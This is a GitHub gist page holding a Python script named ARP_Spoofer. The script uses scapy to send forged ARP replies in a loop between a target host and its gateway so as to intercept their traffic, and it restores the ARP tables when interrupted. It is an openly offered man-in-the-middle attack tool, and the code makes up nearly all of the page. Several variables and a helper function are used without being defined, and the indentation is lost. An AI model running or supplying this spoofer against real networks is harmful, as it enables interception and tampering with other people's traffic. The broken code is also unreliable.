Skip to content

Instantly share code, notes, and snippets.

@Racv
Last active October 3, 2020 15:36
Show Gist options
  • Save Racv/abdc7d19267adebd4f27d4d9391ac16c to your computer and use it in GitHub Desktop.
Save Racv/abdc7d19267adebd4f27d4d9391ac16c to your computer and use it in GitHub Desktop.
ARP_Spoofer
import scapy.all as scapy
import time
import argparse
import sys
def spoofer(targetIP, spoofIP):
packet=scapy.ARP(op=2,pdst=targetIP,hwdst=destinationMac,psrc=spoofIP)
scapy.send(packet, verbose=False)
def restore(destinationIP, sourceIP):
packet = scapy.ARP(op=2,pdst=destinationIP,hwdst=getMac(destinationIP),psrc=sourceIP,hwsrc=sourceMAC)
scapy.send(packet, count=4,verbose=False)
packets = 0
try:
while True:
spoofer(targetIP,gatewayIP)
spoofer(gatewayIP,targetIP)
print("\r[+] Sent packets "+ str(packets)),
sys.stdout.flush()
packets +=2
time.sleep(2)
except KeyboardInterrupt:
print("\nInterrupted Spoofing found CTRL + C------------ Restoring to normal state..")
restore(targetIP,gatewayIP)
restore(gatewayIP,targetIP)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment